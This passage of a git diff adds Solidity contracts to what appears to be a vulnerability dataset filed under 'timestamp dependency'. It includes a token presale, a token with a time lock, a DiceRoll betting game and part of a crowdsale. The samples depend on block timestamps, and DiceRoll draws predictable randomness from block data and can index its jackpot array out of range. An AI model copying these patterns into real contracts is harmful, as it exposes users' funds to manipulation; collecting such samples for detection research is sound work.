inNormalState { + require(!halted); + _; + } + + modifier inEmergencyState { + require(halted); + _; + } + + + function halt() external onlyOwner inNormalState { + halted = true; + } + + + function unhalt() external onlyOwner inEmergencyState { + halted = false; + } +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) constant returns (uint256); + function transfer(address to, uint256 value) returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) returns (bool) { + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) constant returns (uint256); + function transferFrom(address from, address to, uint256 value) returns (bool); + function approve(address spender, uint256 value) returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool) { + var _allowance = allowed[_from][msg.sender]; + + + + + balances[_to] = balances[_to].add(_value); + balances[_from] = balances[_from].sub(_value); + allowed[_from][msg.sender] = _allowance.sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) returns (bool) { + + + + + + require((_value == 0) || (allowed[msg.sender][_spender] == 0)); + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + +} + + +contract Burnable is StandardToken { + using SafeMath for uint; + + + event Burn(address indexed from, uint value); + + function burn(uint _value) returns (bool success) { + require(_value > 0 && balances[msg.sender] >= _value); + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply = totalSupply.sub(_value); + Burn(msg.sender, _value); + return true; + } + + function burnFrom(address _from, uint _value) returns (bool success) { + require(_from != 0x0 && _value > 0 && balances[_from] >= _value); + require(_value <= allowed[_from][msg.sender]); + balances[_from] = balances[_from].sub(_value); + totalSupply = totalSupply.sub(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Burn(_from, _value); + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + require(_to != 0x0); + + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + require(_to != 0x0); + + return super.transferFrom(_from, _to, _value); + } +} + + + +contract ERC223ReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data); +} + + +contract AnythingAppToken is Burnable, Ownable { + + string public constant name = "AnythingApp Token"; + string public constant symbol = "ANY"; + uint8 public constant decimals = 18; + uint public constant INITIAL_SUPPLY = 400000000 * 1 ether; + + + address public releaseAgent; + + + bool public released = false; + + + mapping (address => bool) public transferAgents; + + event Transfer(address indexed from, address indexed to, uint value, bytes data); + + + modifier canTransfer(address _sender) { + require(released || transferAgents[_sender]); + _; + } + + + modifier inReleaseState(bool releaseState) { + require(releaseState == released); + _; + } + + + modifier onlyReleaseAgent() { + require(msg.sender == releaseAgent); + _; + } + + + + function AnythingAppToken() { + totalSupply = INITIAL_SUPPLY; + balances[msg.sender] = INITIAL_SUPPLY; + Transfer(0x0, msg.sender, INITIAL_SUPPLY); + } + + + function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { + require(addr != 0x0); + + + releaseAgent = addr; + } + + function release() onlyReleaseAgent inReleaseState(false) public { + released = true; + } + + + function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { + require(addr != 0x0); + transferAgents[addr] = state; + } + + function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { + + return super.transferFrom(_from, _to, _value); + } + + + + function transfer(address _to, uint _value, bytes _data) canTransfer(msg.sender) returns (bool success) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + uint codeLength; + assembly { + codeLength := extcodesize(_to) + } + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength>0) { + ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + uint codeLength; + bytes memory empty; + + assembly { + codeLength := extcodesize(_to) + } + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength>0) { + ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); + receiver.tokenFallback(msg.sender, _value, empty); + } + Transfer(msg.sender, _to, _value, empty); + return true; + } + + function burn(uint _value) onlyOwner returns (bool success) { + return super.burn(_value); + } + + function burnFrom(address _from, uint _value) onlyOwner returns (bool success) { + return super.burnFrom(_from, _value); + } +} + +contract InvestorWhiteList is Ownable { + mapping (address => bool) public investorWhiteList; + + mapping (address => address) public referralList; + + function InvestorWhiteList() { + + } + + function addInvestorToWhiteList(address investor) external onlyOwner { + require(investor != 0x0 && !investorWhiteList[investor]); + investorWhiteList[investor] = true; + } + + function removeInvestorFromWhiteList(address investor) external onlyOwner { + require(investor != 0x0 && investorWhiteList[investor]); + investorWhiteList[investor] = false; + } + + + function addReferralOf(address investor, address referral) external onlyOwner { + require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral); + referralList[investor] = referral; + } + + function isAllowed(address investor) constant external returns (bool result) { + return investorWhiteList[investor]; + } + + function getReferralOf(address investor) constant external returns (address result) { + return referralList[investor]; + } +} + +contract PriceReceiver { + address public ethPriceProvider; + + modifier onlyEthPriceProvider() { + require(msg.sender == ethPriceProvider); + _; + } + + function receiveEthPrice(uint ethUsdPrice) external; + + function setEthPriceProvider(address provider) external; +} + +contract AnythingAppTokenPreSale is Haltable, PriceReceiver { + using SafeMath for uint; + + string public constant name = "AnythingAppTokenPreSale"; + + AnythingAppToken public token; + InvestorWhiteList public investorWhiteList; + address public beneficiary; + + uint public tokenPriceUsd; + uint public totalTokens; + + uint public ethUsdRate; + + uint public collected = 0; + uint public withdrawn = 0; + uint public tokensSold = 0; + uint public investorCount = 0; + uint public weiRefunded = 0; + + uint public startTime; + uint public endTime; + + bool public crowdsaleFinished = false; + + mapping (address => bool) public refunded; + mapping (address => uint) public deposited; + + uint public constant BONUS_LEVEL_1 = 40; + uint public constant BONUS_LEVEL_2 = 35; + uint public constant BONUS_LEVEL_3 = 30; + + uint public firstStage; + uint public secondStage; + uint public thirdStage; + + uint public constant MINIMAL_PURCHASE = 250 ether; + uint public constant LIMIT_PER_USER = 500000 ether; + + event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount); + event NewReferralTransfer(address indexed investor, address indexed referral, uint tokenAmount); + event Refunded(address indexed holder, uint amount); + event Deposited(address indexed holder, uint amount); + + modifier preSaleActive() { + require(block.timestamp >= startTime && block.timestamp < endTime); + _; + } + + modifier preSaleEnded() { + require(block.timestamp >= endTime); + _; + } + + modifier inWhiteList() { + require(investorWhiteList.isAllowed(msg.sender)); + _; + } + + function AnythingAppTokenPreSale( + address _token, + address _beneficiary, + address _investorWhiteList, + + uint _totalTokens, + uint _tokenPriceUsd, + + uint _baseEthUsdPrice, + + uint _firstStage, + uint _secondStage, + uint _thirdStage, + + uint _startTime, + uint _endTime + ) { + ethUsdRate = _baseEthUsdPrice; + tokenPriceUsd = _tokenPriceUsd; + + totalTokens = _totalTokens.mul(1 ether); + + token = AnythingAppToken(_token); + investorWhiteList = InvestorWhiteList(_investorWhiteList); + beneficiary = _beneficiary; + + firstStage = _firstStage.mul(1 ether); + secondStage = _secondStage.mul(1 ether); + thirdStage = _thirdStage.mul(1 ether); + + startTime = _startTime; + endTime = _endTime; + } + + function() payable inWhiteList { + doPurchase(msg.sender); + } + + function tokenFallback(address _from, uint _value, bytes _data) public pure { } + + function doPurchase(address _owner) private preSaleActive inNormalState { + if (token.balanceOf(msg.sender) == 0) investorCount++; + + uint tokens = msg.value.mul(ethUsdRate).div(tokenPriceUsd); + address referral = investorWhiteList.getReferralOf(msg.sender); + uint referralBonus = calculateReferralBonus(tokens); + uint bonus = calculateBonus(tokens, referral); + + tokens = tokens.add(bonus); + + uint newTokensSold = tokensSold.add(tokens); + if (referralBonus > 0 && referral != 0x0) { + newTokensSold = newTokensSold.add(referralBonus); + } + + require(newTokensSold <= totalTokens); + require(token.balanceOf(msg.sender).add(tokens) <= LIMIT_PER_USER); + + tokensSold = newTokensSold; + + collected = collected.add(msg.value); + deposited[msg.sender] = deposited[msg.sender].add(msg.value); + + token.transfer(msg.sender, tokens); + NewContribution(_owner, tokens, msg.value); + + if (referralBonus > 0 && referral != 0x0) { + token.transfer(referral, referralBonus); + NewReferralTransfer(msg.sender, referral, referralBonus); + } + } + + function calculateBonus(uint _tokens, address _referral) private returns (uint _bonuses) { + uint bonus; + + if (tokensSold < firstStage) { + bonus = BONUS_LEVEL_1; + } else if (tokensSold >= firstStage && tokensSold < secondStage) { + bonus = BONUS_LEVEL_2; + } else { + bonus = BONUS_LEVEL_3; + } + + if (_referral != 0x0) { + bonus += 5; + } + + return _tokens.mul(bonus).div(100); + } + + function calculateReferralBonus(uint _tokens) internal constant returns (uint _bonus) { + return _tokens.mul(20).div(100); + } + + function withdraw() external onlyOwner { + uint withdrawLimit = 500 ether; + if (withdrawn < withdrawLimit) { + uint toWithdraw = collected.sub(withdrawn); + if (toWithdraw + withdrawn > withdrawLimit) { + toWithdraw = withdrawLimit.sub(withdrawn); + } + beneficiary.transfer(toWithdraw); + withdrawn = withdrawn.add(toWithdraw); + return; + } + require(block.timestamp >= endTime); + beneficiary.transfer(collected); + token.transfer(beneficiary, token.balanceOf(this)); + crowdsaleFinished = true; + } + + function refund() external preSaleEnded inNormalState { + require(refunded[msg.sender] == false); + + uint refund = deposited[msg.sender]; + require(refund > 0); + + deposited[msg.sender] = 0; + refunded[msg.sender] = true; + weiRefunded = weiRefunded.add(refund); + msg.sender.transfer(refund); + Refunded(msg.sender, refund); + } + + function receiveEthPrice(uint ethUsdPrice) external onlyEthPriceProvider { + require(ethUsdPrice > 0); + ethUsdRate = ethUsdPrice; + } + + function setEthPriceProvider(address provider) external onlyOwner { + require(provider != 0x0); + ethPriceProvider = provider; + } + + function setNewWhiteList(address newWhiteList) external onlyOwner { + require(newWhiteList != 0x0); + investorWhiteList = InvestorWhiteList(newWhiteList); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10855.sol b/smart_contract_dataset/timestamp dependency/10855.sol new file mode 100644 index 0000000000000000000000000000000000000000..e74125944347aaf7d0383d69bc89b39c0ad42703 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10855.sol @@ -0,0 +1,305 @@ +pragma solidity ^0.4.18; + + + + +contract Ownable { + address public owner; + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + +} + + + +contract ISStop is Ownable { + + bool public stopped; + + modifier stoppable { + assert (!stopped); + _; + } + function stop() public onlyOwner { + stopped = true; + } + function start() public onlyOwner { + stopped = false; + } + +} + + + + +contract ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); + + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + + + +contract StandardToken is BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + +contract InseeCoin is ISStop, StandardToken{ + string public name = "Insee Coin"; + uint8 public decimals = 18; + string public symbol = "SEE"; + string public version = "v0.1"; + + uint256 public initialAmount = (10 ** 10) * (10 ** 18); + + + event Destroy(address from, uint value); + + function InseeCoin() public { + balances[msg.sender] = initialAmount; + totalSupply_ = initialAmount; + } + + function transfer(address dst, uint wad) public stoppable returns (bool) { + return super.transfer(dst, wad); + } + + function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { + return super.transferFrom(src, dst, wad); + } + + function approve(address guy, uint wad) public stoppable returns (bool) { + return super.approve(guy, wad); + } + + function destroy(uint256 _amount) external onlyOwner stoppable returns (bool success){ + require(balances[msg.sender] >= _amount); + balances[msg.sender] = balances[msg.sender].sub(_amount); + totalSupply_ = totalSupply_.sub(_amount); + emit Destroy(msg.sender, _amount); + return true; + } + + function setName(string name_) public onlyOwner{ + name = name_; + } + +} + + + +contract TokenLock { + using SafeMath for uint256; + InseeCoin public ISC; + + + uint256 private nextLockID = 0; + + + mapping (uint256 => TokenTimeLockInfo) public locks; + + + struct TokenTimeLockInfo { + + + address beneficiary; + + + uint256 amount; + + + uint256 unlockTime; + } + + + event Lock (uint256 indexed id, address indexed beneficiary,uint256 amount, uint256 lockTime); + + event Unlock (uint256 indexed id, address indexed beneficiary,uint256 amount, uint256 unlockTime); + + function TokenLock(InseeCoin isc) public { + assert(address(isc) != address(0)); + + ISC = isc; + } + + + function lock ( + address _beneficiary, uint256 _amount, + uint256 _lockTime) public returns (uint256) { + require (_amount > 0); + require (_lockTime > 0); + + nextLockID = nextLockID.add(1); + uint256 id = nextLockID; + + TokenTimeLockInfo storage lockInfo = locks [id]; + require (lockInfo.beneficiary == 0x0); + require (lockInfo.amount == 0); + require (lockInfo.unlockTime == 0); + + lockInfo.beneficiary = _beneficiary; + lockInfo.amount = _amount; + lockInfo.unlockTime = now.add(_lockTime); + + emit Lock (id, _beneficiary, _amount, _lockTime); + + require (ISC.transferFrom (msg.sender, this, _amount)); + + return id; + } + + + + function unlock (uint256 _id) public { + TokenTimeLockInfo memory lockInfo = locks [_id]; + delete locks [_id]; + + require (lockInfo.amount > 0); + require (lockInfo.unlockTime <= block.timestamp); + + emit Unlock (_id, lockInfo.beneficiary, lockInfo.amount, lockInfo.unlockTime); + + require ( + ISC.transfer ( + lockInfo.beneficiary, lockInfo.amount)); + } + + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10915.sol b/smart_contract_dataset/timestamp dependency/10915.sol new file mode 100644 index 0000000000000000000000000000000000000000..9bf3210338c1417899814999f5f83a4a3b46030e --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10915.sol @@ -0,0 +1,292 @@ +pragma solidity ^0.4.23; + +contract SafeMath { + function safeToAdd(uint a, uint b) pure internal returns (bool) { + return (a + b >= a); + } + function safeAdd(uint a, uint b) pure internal returns (uint) { + require(safeToAdd(a, b)); + return a + b; + } + + function safeToSubtract(uint a, uint b) pure internal returns (bool) { + return (b <= a); + } + + function safeSub(uint a, uint b) pure internal returns (uint) { + require(safeToSubtract(a, b)); + return a - b; + } +} + +contract DiceRoll is SafeMath { + + address public owner; + uint8 constant public maxNumber = 99; + uint8 constant public minNumber = 1; + + bool public gamePaused; + bool public recommendPaused; + bool public jackpotPaused; + + uint256 public contractBalance; + uint16 public houseEdge; + uint256 public maxProfit; + uint16 public maxProfitAsPercentOfHouse; + uint256 public minBet; + uint256 public maxBet; + uint16 public jackpotOfHouseEdge; + uint256 public minJackpotBet; + uint256 public recommendProportion; + uint256 playerProfit; + + uint256 public jackpotBlance; + address[] public jackpotPlayer; + uint256 public JackpotPeriods = 1; + uint64 public nextJackpotTime; + uint16 public jackpotPersent = 100; + + uint256 public totalWeiWon; + uint256 public totalWeiWagered; + + uint256 public betId; + uint256 seed; + + modifier betIsValid(uint256 _betSize, uint8 _start, uint8 _end) { + require(_betSize >= minBet && _betSize <= maxBet && _start >= minNumber && _end <= maxNumber); + _; + } + + modifier oddEvenBetIsValid(uint256 _betSize, uint8 _oddeven) { + require(_betSize >= minBet && _betSize <= maxBet && (_oddeven == 1 || _oddeven == 0)); + _; + } + + modifier gameIsActive { + require(!gamePaused); + _; + } + + modifier recommendAreActive { + require(!recommendPaused); + _; + } + + modifier jackpotAreActive { + require(!jackpotPaused); + _; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + event LogResult(uint256 indexed BetID, address indexed PlayerAddress, uint8 DiceResult, uint256 Value, uint8 Status, uint8 Start, uint8 End, uint8 oddeven, uint256 BetValue); + event LogJackpot(uint indexed BetID, address indexed PlayerAddress, uint jackpotValue); + event LogRecommendProfit(uint indexed BetID, address indexed PlayerAddress, uint Profit); + event LogOwnerTransfer(address SentToAddress, uint AmountTransferred); + event SendJackpotSuccesss(address indexed winner, uint256 amount, uint256 JackpotPeriods); + + + function() public payable{ + contractBalance = safeAdd(contractBalance, msg.value); + setMaxProfit(); + } + + constructor() public { + owner = msg.sender; + houseEdge = 20; + maxProfitAsPercentOfHouse = 100; + minBet = 0.1 ether; + maxBet = 1 ether; + jackpotOfHouseEdge = 500; + recommendProportion = 100; + minJackpotBet = 0.1 ether; + jackpotPersent = 100; + } + + function playerRoll(uint8 start, uint8 end, address inviter) public payable gameIsActive betIsValid(msg.value, start, end) { + betId += 1; + uint8 probability = end - start + 1; + playerProfit = ((msg.value * (100 - probability) / probability + msg.value) * (1000 - houseEdge) / 1000) - msg.value; + if(playerProfit > maxProfit) playerProfit = maxProfit; + uint8 random = uint8(rand() % 100 + 1); + totalWeiWagered += msg.value; + if(start <= random && random <= end){ + totalWeiWon = safeAdd(totalWeiWon, playerProfit); + contractBalance = safeSub(contractBalance, playerProfit); + uint256 payout = safeAdd(playerProfit, msg.value); + setMaxProfit(); + emit LogResult(betId, msg.sender, random, playerProfit, 1, start, end, 2, msg.value); + + uint256 houseEdgeFee = getHouseEdgeFee(probability, msg.value); + increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, betId); + + if(inviter != address(0)){ + emit LogRecommendProfit(betId, msg.sender, playerProfit); + sendProportion(inviter, houseEdgeFee * recommendProportion / 1000); + } + + msg.sender.transfer(payout); + return; + }else{ + emit LogResult(betId, msg.sender, random, 0, 0, start, end, 2, msg.value); + contractBalance = safeAdd(contractBalance, (msg.value-1)); + setMaxProfit(); + msg.sender.transfer(1); + return; + } + + } + + function oddEven(uint8 oddeven, address inviter) public payable gameIsActive oddEvenBetIsValid(msg.value, oddeven) { + betId += 1; + uint8 probability = 50; + playerProfit = ((msg.value * (100 - probability) / probability + msg.value) * (1000 - houseEdge) / 1000) - msg.value; + if(playerProfit > maxProfit) playerProfit = maxProfit; + uint8 random = uint8(rand() % 100 + 1); + totalWeiWagered += msg.value; + if(random % 2 == oddeven){ + totalWeiWon = safeAdd(totalWeiWon, playerProfit); + contractBalance = safeSub(contractBalance, playerProfit); + uint256 payout = safeAdd(playerProfit, msg.value); + setMaxProfit(); + emit LogResult(betId, msg.sender, random, playerProfit, 1, 0, 0, oddeven, msg.value); + + uint256 houseEdgeFee = getHouseEdgeFee(probability, msg.value); + increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, betId); + + if(inviter != address(0)){ + emit LogRecommendProfit(betId, msg.sender, playerProfit); + sendProportion(inviter, houseEdgeFee * recommendProportion / 1000); + } + + msg.sender.transfer(payout); + return; + }else{ + emit LogResult(betId, msg.sender, random, 0, 0, 0, 0, oddeven, msg.value); + contractBalance = safeAdd(contractBalance, (msg.value-1)); + setMaxProfit(); + msg.sender.transfer(1); + return; + } + } + + function sendProportion(address inviter, uint256 amount) internal { + require(amount < contractBalance); + contractBalance = safeSub(contractBalance, amount); + inviter.transfer(amount); + } + + + function increaseJackpot(uint256 increaseAmount, uint256 _betId) internal { + require(increaseAmount < maxProfit); + emit LogJackpot(_betId, msg.sender, increaseAmount); + jackpotBlance = safeAdd(jackpotBlance, increaseAmount); + contractBalance = safeSub(contractBalance, increaseAmount); + if(msg.value >= minJackpotBet){ + jackpotPlayer.push(msg.sender); + } + } + + function createWinner() public onlyOwner jackpotAreActive { + uint64 tmNow = uint64(block.timestamp); + require(tmNow >= nextJackpotTime); + require(jackpotPlayer.length > 0); + nextJackpotTime = tmNow + 72000; + JackpotPeriods += 1; + uint random = rand() % jackpotPlayer.length; + address winner = jackpotPlayer[random - 1]; + jackpotPlayer.length = 0; + sendJackpot(winner); + } + + function sendJackpot(address winner) public onlyOwner jackpotAreActive { + uint256 amount = jackpotBlance * jackpotPersent / 1000; + require(jackpotBlance > amount); + emit SendJackpotSuccesss(winner, amount, JackpotPeriods); + jackpotBlance = safeSub(jackpotBlance, amount); + winner.transfer(amount); + } + + function sendValueToJackpot() payable public jackpotAreActive { + jackpotBlance = safeAdd(jackpotBlance, msg.value); + } + + function getHouseEdgeFee(uint256 _probability, uint256 _betValue) view internal returns (uint256){ + return (_betValue * (100 - _probability) / _probability + _betValue) * houseEdge / 1000; + } + + + function rand() internal returns (uint256) { + seed = uint256(keccak256(msg.sender, blockhash(block.number - 1), block.coinbase, block.difficulty)); + return seed; + } + + function setMaxProfit() internal { + maxProfit = contractBalance * maxProfitAsPercentOfHouse / 1000; + } + + function ownerSetHouseEdge(uint16 newHouseEdge) public onlyOwner{ + require(newHouseEdge <= 1000); + houseEdge = newHouseEdge; + } + + function ownerSetMinJackpoBet(uint256 newVal) public onlyOwner{ + require(newVal <= 1 ether); + minJackpotBet = newVal; + } + + function ownerSetMaxProfitAsPercentOfHouse(uint8 newMaxProfitAsPercent) public onlyOwner{ + require(newMaxProfitAsPercent <= 1000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + function ownerSetMinBet(uint256 newMinimumBet) public onlyOwner{ + minBet = newMinimumBet; + } + + function ownerSetMaxBet(uint256 newMaxBet) public onlyOwner{ + maxBet = newMaxBet; + } + + function ownerSetJackpotOfHouseEdge(uint16 newProportion) public onlyOwner{ + require(newProportion < 1000); + jackpotOfHouseEdge = newProportion; + } + + function ownerSetRecommendProportion(uint16 newRecommendProportion) public onlyOwner{ + require(newRecommendProportion < 1000); + recommendProportion = newRecommendProportion; + } + + function ownerPauseGame(bool newStatus) public onlyOwner{ + gamePaused = newStatus; + } + + function ownerPauseJackpot(bool newStatus) public onlyOwner{ + jackpotPaused = newStatus; + } + + function ownerPauseRecommend(bool newStatus) public onlyOwner{ + recommendPaused = newStatus; + } + + function ownerTransferEther(address sendTo, uint256 amount) public onlyOwner{ + contractBalance = safeSub(contractBalance, amount); + sendTo.transfer(amount); + setMaxProfit(); + emit LogOwnerTransfer(sendTo, amount); + } + + function ownerChangeOwner(address newOwner) public onlyOwner{ + owner = newOwner; + } + + function ownerkill() public onlyOwner{ + selfdestruct(owner); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10931.sol b/smart_contract_dataset/timestamp dependency/10931.sol new file mode 100644 index 0000000000000000000000000000000000000000..2740936e5ba6c53d10dceb764aa46b780d674312 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10931.sol @@ -0,0 +1,890 @@ +pragma solidity ^0.4.13; + +contract FinalizeAgent { + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + + function finalizeCrowdsale(); + +} + +contract PricingStrategy { + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + +library SafeMathLib { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +contract Recoverable is Ownable { + + + function Recoverable() { + } + + + + function recoverTokens(ERC20Basic token) onlyOwner public { + token.transfer(owner, tokensToBeReturned(token)); + } + + + + + function tokensToBeReturned(ERC20Basic token) public returns (uint) { + return token.balanceOf(this); + } +} + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + +contract Whitelist is Ownable { + mapping(address => bool) public whitelist; + + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + + modifier onlyWhitelisted() { + require(whitelist[msg.sender]); + _; + } + + + function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { + if (!whitelist[addr]) { + whitelist[addr] = true; + WhitelistedAddressAdded(addr); + success = true; + } + } + + + function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (addAddressToWhitelist(addrs[i])) { + success = true; + } + } + } + + + function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { + if (whitelist[addr]) { + whitelist[addr] = false; + WhitelistedAddressRemoved(addr); + success = true; + } + } + + + function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (removeAddressFromWhitelist(addrs[i])) { + success = true; + } + } + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +contract FractionalERC20 is ERC20 { + + uint public decimals; + +} + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function 